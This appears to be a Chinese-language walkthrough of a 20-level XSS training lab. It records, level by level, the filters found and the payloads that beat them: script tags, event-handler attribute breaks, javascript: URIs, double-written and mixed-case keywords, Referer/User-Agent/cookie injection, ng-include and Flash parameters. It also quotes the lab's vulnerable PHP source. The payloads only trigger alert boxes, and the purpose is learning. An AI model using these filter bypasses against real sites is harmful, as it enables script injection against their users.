level 1
发现get传参啥,就显示啥,应该对name没啥过滤。
那我们直接传payload
<script>alert(1);</script>
level2
输入第一天payload,发现显示没有结果,应该是实体转义。
查看页面源代码,发现确实存在转义。
加:">绕过input
"><script>alert(1);</script>
level3
发现对双引号“
做了限制,但是却放行了单引号'
,而且居然在value这里也加了htmlspecialchars
函数,这种情况我们可以通过事件标签
触发表单执行。htmlspecialchars() 函数可以把一些预定义的字符转换为 HTML 实体。这里开始构造payload:
'onclick ='alert(1)
level4
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
查看源码发现
使用str_replace()
对尖括号
进行了过滤,而且对单引号'
做了防御,所以,我们直接模仿上一题,使用HTML事件,构造payload:
"onclick="alert(1)
level5
用之前的方法发现不行,on好像被替换了,那么这个方法就不行了。
继续尝试发现<script>
也被进行了替换<scr_ipt>,继续使用大小写,发现人家全转小写了。
继续尝试看看能否闭合,我们输入'
,"
,<
,>
,\
进行尝试,发现只有'
被实体转义。那应该就是可以使用"
来构造闭合。
"><a href=javascript:alert(1)>
level6
像上一题一样输入,发现真狗啊,给我href给过虑了,后面尝试发现on和script也过滤了,‘也办了。
只好试试大小写。发现可以
"><Script>alert(1);</Script>
level7
输上一题payload发现他给我script给办了。
毫无疑问on也办了
试试双写,没问题的
"><scrscriptipt>alert(1)</scrscriptipt>
level8
好家伙,把前面能办的全办了。
那就试试编码了。直接unicode,编码javascript:alert(1) 然后点击友情链接
javascript:alert('1')
level9
输入试试过滤,发现<>"都没了
<>"'script onclick
咋试都不行,看源代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
666,除了以前做过的所有过滤,竟然还加了个strpos函数
,谁都不服就服你,这函数的意思是咱们输入的字符串里面必须要有http://
字符:
javascript:alert('1http://')
level10
首先输入?keyword=’’ ’ >< script onclick看他过滤了啥,<>没了。还有三个隐藏的input。
那么就要一个一个试了,先将type改为text,构造payload:
?keyword=text&t_link="type=text"onclick="alert(1)
?keyword=text&t_history="type=text"onclick="alert(1)
?keyword=text&t_sort="type=text"onclick="alert(1)
试了前两,不行。
最后一个就可以了。
亦可以先输入:
?keyword=text&t_sort="onclick="alert(1)
然后在payload里改type,然后点输入框就行。
level11
查看页面源代码,这次有四个input,不知道是不是都接受传参,那就试试。构造payload
&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text
发现只有t_sort接受传参,那就从它入手。发现它还转义了 “”
bp抓包发现没有请求头,自己加一个referer:111, t_ref=111,这个好啊,直接绕过
改referer为
"type="text" onclick="alert(1)
回到页面改referer即可
level12
这不是UA头吗,哈哈,直接改。
直接ok。
level13
又是这样
传参t_cook=111试试
我笑了。
根据前两题,这个估摸着可能是cookie,传一个试试。
还真是。
level14
百度说题目有问题,那就算了吧。
level15
查看页面源代码,有个ng-include
就跟php中的include函数类似,是将一个文件给包含进来。
可以看到这里是通过src
传参,而且还对<>
做了过滤,既然这里可以包含html文件,那也就是说也可以包含之前咱们做过的有xss漏洞的文件
1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include 属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。
值得注意的是:
ng-include,如果单纯指定地址,必须要加引号
ng-include,加载外部html,script标签中的内容不执行
ng-include,加载外部html中含有style标签样式可以识别
因此构造:
'level1.php?name=<a href="javascript:alert(1)">'
这是因为我们不是单纯的去包含level1.php
,而是在后面添加了name参
数值的。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的
html文件给包含进来的意思
点击下面即可。
level16
老样子传参"'<>script onclick 看看啥过滤,发现空格好script没了
尝试用a标签,空格用url编码
<a%0D%0Aonclick='alert(1)'>
level17
因为embed改google浏览器或者星愿
这里是将传的参数,就行拼接。
level18
同17关
level19
看了源代码,加了“”需要闭合。又因为有htmlspecialchars()
函数在这过滤,所以也没办法闭合。
大佬说是flash
的反编译,不会,答案是
version&arg02=<a href='javascript:alert(/xss/)'>xss</a>
level20
还是一样不会,答案
arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height